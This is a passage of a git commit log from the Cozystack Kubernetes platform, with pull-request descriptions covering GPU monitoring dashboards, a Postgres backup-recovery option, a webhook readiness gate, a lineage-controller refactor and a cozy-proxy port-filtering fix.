- `gpu.recording.cluster.1m` — cluster-wide totals consumed by overview
panels.
- `gpu.recording.node.1m` — per-node hardware aggregates (grouped by
`Hostname`) plus per-namespace allocation counts from kube resource
requests; filters `cozy-*`/`kube-*`.
- `gpu.recording.efficiency.1m` — per-GPU tensor saturation and
util-per-watt, plus per-GPU power/thermal throttle fractions bounded via
`clamp_max(..., 1)`.
- `gpu.recording.throttle.validation.5m` — houses the
`GPUThrottleFractionOverOne` warning alert that fires if the pre-clamp
throttle fraction exceeds 1.0. This guards against DCGM counter-unit
drift between GPU families; the `/1e9` divisor is verified on NVIDIA A10
with DCGM 3.x.

Rules are safe on clusters without DCGM — they evaluate to empty series
when no matching metrics are scraped.

3. **Reference manifests** under
`packages/system/gpu-operator/examples/`. These are **not** templates;
they document one working configuration:

- `values-native-talos.yaml` — Cozystack Package values for the
native-pod scenario.
- `dcgm-custom-metrics.yaml` — ConfigMap extending the DCGM CSV with
profiling, ECC, throttling, and energy counters used by the dashboards
and recording rules.
- `nvidia-driver-compat.yaml` — DaemonSet that stages
`libnvidia-ml.so.1` and `nvidia-smi` from the Talos glibc tree into a
location the GPU Operator validator inspects. Workaround for
[NVIDIA/gpu-operator#1687](https://github.com/NVIDIA/gpu-operator/issues/1687).
Requires `pod-security.kubernetes.io/enforce: privileged` on the target
namespace when the cluster enforces baseline/restricted
PodSecurityStandards.
- `README.md` — explains the two deployment paths (sandbox vs. native),
which DCGM metrics each dashboard depends on, and how the pieces fit
together.

4. **Cross-validation test** — `hack/check-gpu-recording-rules.bats`
enforces that every recording-rule reference in tracked dashboards
resolves, and that every DCGM metric referenced by the rules is declared
in either the upstream default CSV snapshot
(`hack/dcgm-default-counters.csv`) or the custom CSV shipped under
`examples/`.

### Why reference manifests, not templates

The out-of-the-box `packages/system/gpu-operator/values-talos.yaml`
targets **sandbox workloads** — GPUs passed through to KubeVirt VMs via
VFIO, driver disabled on the host, device plugin disabled. That is the
sensible default for Cozystack today.

Running GPU workloads directly in pods on Talos is also possible but
requires a different configuration that makes assumptions not every user
shares:

- the NVIDIA Talos system extension must be installed on GPU nodes,
- the operator's own driver and toolkit components must be disabled
because the extension provides them,
- the validator's hardcoded paths need a workaround until
NVIDIA/gpu-operator#1687 lands upstream.

Shipping those as active templates would silently impose those
assumptions. Shipping them as reference files next to the package lets
operators opt in with eyes open and understand the moving parts before
applying them.

### Scope note

The dashboards and recording rules are useful independently of the
reference manifests — any cluster that scrapes DCGM Exporter (however it
is installed) will populate them. The reference manifests are
self-contained and do not change any default behavior of the
`gpu-operator` package.

### Screenshots

<img width="2824" height="1055" alt="2026-04-27_12-36-52"
src="https://github.com/user-attachments/assets/71f85de7-1c80-4817-b36c-aeb1c2bdd39a"
/>
<img width="2913" height="1255" alt="2026-04-27_12-36-39"
src="https://github.com/user-attachments/assets/7a54daca-0727-4510-938c-080d31bdc229"
/>
<img width="2932" height="1251" alt="2026-04-27_12-36-30"
src="https://github.com/user-attachments/assets/f6c6c215-3d05-400c-b21c-29f267c93f23"
/>
<img width="2864" height="1222" alt="2026-04-27_12-36-00"
src="https://github.com/user-attachments/assets/e9d34bab-ade5-434b-92c3-f36712cf68d9"
/>
<img width="2958" height="1226" alt="image"
src="https://github.com/user-attachments/assets/0047a5f8-12a5-4cda-8676-041de139cb76"
/>


### Release note

```release-note
feat(monitoring): add GPU observability — five Grafana dashboards (performance, fleet, tenants, quotas, efficiency), VictoriaMetrics recording rules with a throttle-regression alert, and reference manifests under packages/system/gpu-operator/examples/ for running GPU workloads natively in pods on Talos.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added five GPU dashboards for performance, efficiency, fleet overview,
quotas/allocation, and tenant usage (utilization, power, throttling,
allocation, billing).
* Added cluster recording rules and a throttling validation alert; new
Prometheus-derived metrics and per-GPU rankings/timeseries.

* **Documentation**
* Added GPU Operator examples and README documenting native Talos setup
and required DCGM counters.

* **Tests**
* Added validation tests ensuring dashboard ↔ recording-rule and DCGM
metric consistency.

* **Chores**
  * Registered new GPU dashboards in infra listings.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-28 22:42:01 +03:00
Arsolitt 80b86b0c1a chore(kubernetes): regenerate CRD after merge conflict resolution 
Per-package `make generate` corrects keysOrder placement and
openAPISchema formatting in the kubernetes CRD definition.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
 2026-04-28 19:02:35 +03:00
Arsolitt f6ee54e4ea Merge remote-tracking branch 'origin/main' into feat/hami-integration 
Signed-off-by: Arsolitt <arsolitt@gmail.com>

# Conflicts:
#	api/apps/v1alpha1/kubernetes/types.go
#	packages/apps/kubernetes/templates/helmreleases/gpu-operator.yaml
#	packages/system/kubernetes-rd/cozyrds/kubernetes.yaml
 2026-04-28 18:58:57 +03:00
Aleksei Sviridkin bdaaae92e2 feat(postgres): add serverName parameter for backup recovery (#2362) 
## Summary

Add `serverName` field to bootstrap configuration to support backup
recovery when the Barman server name in `backup.info` differs from the
Kubernetes cluster name.

This fixes "no target backup found" errors during CloudNativePG recovery
operations.

## Problem

CloudNativePG forms the backup path as `destinationPath + "postgres-" +
oldName`, but searches for backups using the `server_name` field from
`backup.info`. When these values don't match (e.g., cluster name is
`grafana` but `server_name` is `cloud`), recovery fails with "no target
backup found".

## Solution

- Add optional `serverName` parameter to `bootstrap` configuration
- When specified, CloudNativePG uses this value to search for backups in
S3
- Falls back to `oldName` when `serverName` is not provided (backwards
compatible)

## Changes

- Add `ServerName` field to PostgreSQL CRD type definition
- Add conditional `serverName` to Cluster `externalClusters` template  
- Update `values.yaml` and README.md with `serverName` documentation
- Regenerate `values.schema.json` and `postgres.yaml` CRD

## Test plan

- [ ] Deploy postgres cluster with backups enabled
- [ ] Create backup
- [ ] Create new postgres instance with `bootstrap.enabled=true`,
`bootstrap.oldName=<original-name>`, and
`bootstrap.serverName=<value-from-backup.info>`
- [ ] Verify recovery completes successfully

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added an optional bootstrap.serverName setting to specify the Barman
server name from the original cluster’s backup.info (used when that
server name differs from the Kubernetes cluster name).

* **Documentation**
* Clarified that bootstrap.oldName must match the serverName value
recorded in backup.info; updated docs and examples to reflect the new
bootstrap.serverName option.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-28 15:32:57 +03:00
Aleksei Sviridkin 6498c61f68 fix(postgres-operator): block HelmRelease Ready until the cnpg webhook actually serves (#2482) 
## What this PR does

Closes a bootstrap race where the `cnpg-webhook-service` Service gets
its EndpointSlice populated and the data plane (kube-proxy / Cilium)
programmed a second or two after `helm install --wait` on
`cozy-postgres-operator` declares the HelmRelease Ready. Any HelmRelease
that `dependsOn: postgres-operator` and creates a
`postgresql.cnpg.io/v1` resource in that window (cozy-keycloak, tenant
Postgres apps) has kube-apiserver's call to `mcluster.cnpg.io` fail with

```
Internal error occurred: failed calling webhook "mcluster.cnpg.io":
Post "https://cnpg-webhook-service.cozy-postgres-operator.svc:443/...":
dial tcp <svc-ip>:443: connect: connection refused
```

which fails the downstream release's install.

The fix is a post-install / post-upgrade Helm hook (ServiceAccount +
ClusterRole + ClusterRoleBinding + Job) that probes `/readyz` on the
webhook through the apiserver service proxy. Apiserver's service proxy
uses the same endpoint-resolution and apiserver-initiated pod dial as
the admission webhook path, so once `/readyz` answers through the proxy,
the subsequent admission call will also succeed. Helm `--wait` blocks
the install from completing until the Job exits 0, so the HelmRelease
Ready condition does not lie anymore.

Hardened per review:

- RBAC scoped to a single `services/proxy` resourceName
(`https:cnpg-webhook-service:webhook-server`) — the exact string the
apiserver URL path parser expects for the Service proxy subresource.
- A drift-guard helm-unittest test renders the vendored cnpg Service
template and fails if its `metadata.name` / `ports[0].name` diverge from
the literals in the hook, so a future `make update` that renames the
service forces this template to be updated in the same change.
- Image digest-pinned (`clastix/kubectl:v1.32@sha256:…`) with a
`renovate:` annotation; `imagePullPolicy: IfNotPresent` when
digest-pinned, `Always` when tag-only.
- Job runs under PSA-restricted-compatible securityContext (non-root,
seccomp RuntimeDefault, readOnlyRootFilesystem, drop ALL caps).
- `activeDeadlineSeconds` is derived from `maxAttempts × sleepSeconds +
60s` so a values override raising retries does not get silently cut by a
fixed deadline.
- `backoffLimit: 2` (configurable) so a transient pod-level failure
(image pull rate limit, OOM, CNI hiccup) does not fail the whole
HelmRelease.
- On timeout the Job prints the last `kubectl get --raw` stderr so the
operator can distinguish DNS / refused / 401 / TLS from the Job logs.

21 helm-unittest assertions cover ordering, RBAC/URL parity, subchart
drift, image policy, retry-loop bounds, securityContext, and the
deadline-scaling invariant. Wired via `make test` in
`packages/system/postgres-operator/Makefile`.

First surfaced on #2470 E2E run 24862782568 where
`cozy-keycloak/keycloak` failed with the exact signature above. Not tied
to that PR's branch — this is independently applicable to `main`.

### Release note

```release-note
fix(postgres-operator): add a post-install readiness gate that blocks the HelmRelease from reporting Ready until the cnpg admission webhook actually serves through the cluster Service, preventing "dial tcp <svc-ip>:443: connect: connection refused" on the first HelmRelease that depends on postgres-operator (keycloak, tenant Postgres apps).
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added webhook readiness validation during install/upgrade to block
completion until the admission webhook is reachable.
* New configuration options for the readiness probe image and
retry/timeouts.

* **Tests**
* Introduced a comprehensive test suite validating rendered manifests,
probe behavior, RBAC, image rendering, and retry/timeout logic.

* **Chores**
* Added a test entry point to the project Makefile to run chart/unit
tests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-28 15:14:36 +03:00
Timofei LarkinandClaude Opus 4.7 1dc02d44f4 refactor(lineage-controller-webhook): align with cozystack-api shape 
Collapse the chart to a single Deployment shape that mirrors
cozystack-api: 2 replicas, soft (preferred) nodeAffinity to
node-role.kubernetes.io/control-plane via Exists, permissive
tolerations, soft podAntiAffinity on hostname, an unconditional
PodDisruptionBudget with maxUnavailable: 1, and a Service with
spec.trafficDistribution: PreferClose. The same shape works on
Talos / kubeadm / k3s and on managed Kubernetes / Cozy-in-Cozy
tenant clusters without per-distro overrides — fixing #2417 by
making the soft control-plane affinity gracefully fall back to
worker scheduling when no control-plane nodes are visible.

Drop the DaemonSet path entirely. The previous PR's deployment.enabled
toggle, the workload-kind switch in templates/workload.yaml, the
fail-guard for localK8sAPIEndpoint+nodeAffinity=[], the conditional
PDB, and the values-shape knobs for nodeAffinity and tolerations all
go away as a consequence. Override the standard Deployment fields
through the usual component-values mechanism if a non-default topology
is ever needed.

Mark localK8sAPIEndpoint.enabled deprecated and flip the default to
false. The flag injects KUBERNETES_SERVICE_HOST=status.hostIP, which
is only valid when the pod is actually scheduled on an apiserver-
bearing node. With the new soft control-plane affinity, the pod can
land off-control-plane and crash-loop. The latency motivation for the
flag is real but pending separate webhook performance work; once
addressed, the flag can be removed.

Revert all changes to packages/core/platform/images/migrations/migrations/20.
The earlier ds/...-or-deploy/... fallback was over-engineered: per
run-migrations.sh, migration 20 fires only when CURRENT < 20 (i.e.
direct upgrades from pre-0.37 to 1.3+), and that path is unsupported
anyway. The original ds/... rollout-status line is dead code on every
supported install and upgrade path.

Add helm-unittest coverage for: the default Deployment shape (replicas,
soft nodeAffinity, soft podAntiAffinity, tolerations); no env vars at
the default localK8sAPIEndpoint.enabled=false; PDB rendered
unconditionally with maxUnavailable: 1, including at replicas=1 (the
no-op case); replicas value drives spec.replicas; and that
localK8sAPIEndpoint.enabled=true does inject the env vars. The Service
test continues to assert trafficDistribution: PreferClose with no
internalTrafficPolicy.

Add a slim README documenting the topology, parameters, and the
deprecation note for localK8sAPIEndpoint.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Signed-off-by: Timofei Larkin <lllamnyp@gmail.com>
 2026-04-28 14:55:11 +03:00
Aleksei Sviridkin 036eb98554 build(linstor): include linstor-gui in root image build target (#2498) 
## What this PR does

The `linstor-gui` package (added in #2382) was never wired into the root
`Makefile`'s `build:` target, so the image is not built or published by
CI. `ghcr.io/cozystack/cozystack/linstor-gui` returns `NAME_UNKNOWN`
from the GHCR API, and `values.yaml` still pins `tag: 2.3.0` without a
digest because the per-package Makefile that rewrites the tag after a
successful push has never run in CI.

This PR adds the missing line so the next build publishes the image and
digest-pins `values.yaml` automatically.

### Release note

```release-note
build(linstor): include linstor-gui in root image build target so the image is built and published by CI (the chart previously referenced an image that did not exist in the registry)
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Integrated the linstor-gui container image build into the main image
build workflow so the GUI image is produced as part of standard builds.
* Streamlined the GUI image build configuration to use consolidated
build arguments, improving consistency and maintainability of automated
image builds and metadata updates.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-28 13:55:25 +03:00
Andrei Kvapil d2b4a449de feat(cozy-proxy): bump to v0.3.0 (#2510) 
Bumps the vendored cozy-proxy chart and image tag from v0.2.0 to v0.3.0
by running `make update` in `packages/system/cozy-proxy`.

cozy-proxy v0.3.0 release:
https://github.com/cozystack/cozy-proxy/releases/tag/v0.3.0

## Why

cozy-proxy v0.3.0 is the companion of #2501. The chart fix in #2501
finally honors the documented PortList semantics (only `externalPorts`
reachable, ICMP preserved by default), but only takes effect once
cozy-proxy v0.3.0 is in place — v0.2.0 has no port-aware logic, so the
chart fix silently no-ops on it. This PR ships that runtime side.

## Upgrade impact

For cozystack users this is a **bug fix, not a breaking change**.
cozy-proxy v0.3.0 introduces two contract changes upstream — (1)
label-only selector via `service.kubernetes.io/service-proxy-name:
cozy-proxy`, and (2) port-filter as the default ingress mode — both of
which are absorbed by the vm-instance chart (label landed in #2357,
`wholeIP` + `allowICMP` wired in #2501).

- **`externalMethod: WholeIP`** (default) — chart renders label +
`wholeIP: "true"` in both old and new versions. cozy-proxy keeps
passthrough. **No change.**
- **`externalMethod: PortList`** — previously the chart always rendered
`wholeIP: "true"` regardless of method, and cozy-proxy v0.2.0 had no
port-aware logic, so PortList was silently a no-op (all ports
reachable). After this bump + #2501, PortList behaves as documented:
only ports listed in `externalPorts` reach the VM. Users who configured
PortList but reached undeclared ports (relying on the silent no-op) will
see those ports become unreachable — that's the documented intent of
PortList finally taking effect. ICMP keeps working by default thanks to
`externalAllowICMP: true`.
- **DaemonSet rollover** — re-init of the nft table during cozy-proxy
pod restart is a brief blip on existing flows; same as any DaemonSet
upgrade.

Out-of-tree consumers using cozy-proxy directly (without the
`service-proxy-name` label, or relying on the absent-annotation
passthrough default) need to migrate per the upstream v0.3.0 release
notes — not a cozystack concern.

## Order of operations

This PR is functionally complete on its own (image bump), but the
user-facing PortList fix it enables only happens when #2501 also lands.
Recommended merge order:

1. #2501 first (chart adapts to the new contract)
2. This PR second (cozy-proxy DaemonSet picks up the new image)

The reverse order is also safe — cozy-proxy v0.3.0 with the unmodified
vm-instance chart still produces correct results for `externalMethod:
WholeIP` (most common case) and keeps PortList silently broken until
#2501 lands.

## Test plan

- [ ] `helm template packages/system/cozy-proxy` — image tag `v0.3.0`
rendered
- [ ] `make unit-tests` passes
- [ ] After #2501 lands, end-to-end: `externalMethod: PortList` with
`externalPorts: [22]` filters all other ports, ping works
- [ ] WholeIP-method VM Service unchanged after upgrade

## Companion PRs

- #2501 — vm-instance chart wires `wholeIP` / `allowICMP` per
`externalMethod`
- cozystack/cozy-proxy#13 (merged) — label-only selector + port-filter
default
- cozy-proxy v0.3.0 release notes —
https://github.com/cozystack/cozy-proxy/releases/tag/v0.3.0

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Released version 0.3.0 with updated Helm chart metadata and container
image configuration.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-28 12:21:33 +02:00
Andrei Kvapil bbe0e8690c [vm-instance] Fix PortList not filtering ingress ports (#2501) 
## What this PR does

The `vm-instance` chart now drives the cozy-proxy `wholeIP` and
`allowICMP` annotations explicitly so that `externalMethod: PortList`
actually filters ingress traffic to declared ports while keeping
ping/PMTU functional.

- Render `networking.cozystack.io/wholeIP: "false"` when
`externalMethod: PortList` (was always `"true"`, which silently disabled
the PortList semantics in cozy-proxy).
- Add `externalAllowICMP` value (default `true`) propagated as
`networking.cozystack.io/allowICMP` when `externalMethod: PortList`.
Without this, cozy-proxy drops ICMP in port-filter mode (ping/PMTU
broken). Operators can set `externalAllowICMP: false` to opt out.

The changelog entry is intentionally **not** part of this PR — it will
be added in a dedicated `docs: add changelog for vX.Y.Z` commit at
release time, per project convention.

## Why

`externalMethod: PortList` is documented as filtering ingress traffic to
declared ports but has been non-functional on Cozystack v1.3.0 —
verified empirically on a 3-node Talos lab. Root cause was twofold:
chart always set `wholeIP: "true"`, and cozy-proxy v0.2.0 had no
port-aware logic. The cozy-proxy side was fixed in
cozystack/cozy-proxy#11 (merged) and cozystack/cozy-proxy#12 (allowICMP
follow-up); this PR completes the user-visible fix on the chart side.

## Companion PRs

- cozystack/cozy-proxy#11 (merged) — per-service ingress port filtering
- cozystack/cozy-proxy#12 (merged) — `allowICMP` annotation for
port-filter mode

## Test plan

- [x] Built cozy-proxy with the companion fix locally, deployed on a
3-node Talos lab (Cozystack v1.3.0)
- [x] `wholeIP: "false"` Service with `spec.ports: [22]`: only port 22
reachable from outside; ports 80/443/8080/9999 filtered
- [x] WholeIP-annotated Service unchanged: all listening ports reachable
- [x] Egress IP preservation works in both modes (TCP curl + UDP DNS)
- [x] `nft list table ip cozy_proxy` confirms expected ruleset
- [x] `helm template` renders the expected annotation matrix: `PortList`
default → `wholeIP=false, allowICMP=true`; `PortList` opt-out →
`allowICMP=false`; `WholeIP` → only `wholeIP=true`
- [x] `make unit-tests` passes locally
- [ ] CI unit tests
- [ ] CI E2E

## Backport

Suggesting `backport-v1.3` once merged.

## Release note

```release-note
[vm-instance] Make `externalMethod: PortList` actually filter ingress traffic to ports listed in `externalPorts`. New `externalAllowICMP` knob (default true) propagates the cozy-proxy `allowICMP` annotation to keep ping/PMTU functional in port-filter mode. Combined with cozy-proxy v0.3.0+, only listed ports plus ICMP are reachable from the VM's LoadBalancer IP.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added `externalAllowICMP` configuration option to control ICMP traffic
acceptance for VM external access in PortList mode (enabled by default).

* **Documentation**
* Updated parameter documentation to include the new ICMP traffic
control setting.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-28 11:17:59 +02:00
Andrei Kvapil d20285836c feat(cozy-proxy): bump to v0.3.0 
Pulls in the per-port filtering and allowICMP support that the companion
vm-instance chart fix in #2501 relies on. cozy-proxy v0.3.0 also tightens
the selector to the standard service.kubernetes.io/service-proxy-name=cozy-proxy
label and switches the default ingress mode to port-filter; both are
already covered by the vm-instance chart (label landed in #2357,
wholeIP/allowICMP wired explicitly in #2501), so VM workloads upgrade
transparently.

Out-of-tree consumers using cozy-proxy annotations directly (without the
label, or relying on the absent-annotation passthrough default) are
called out in the upstream v0.3.0 release notes:
https://github.com/cozystack/cozy-proxy/releases/tag/v0.3.0

Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
 2026-04-28 11:14:27 +02:00
Arsolitt 84f506116f docs(gpu-operator): clarify violation counter unit ambiguity in DCGM CSV 
Signed-off-by: Arsolitt <arsolitt@gmail.com>
 2026-04-28 12:07:31 +03:00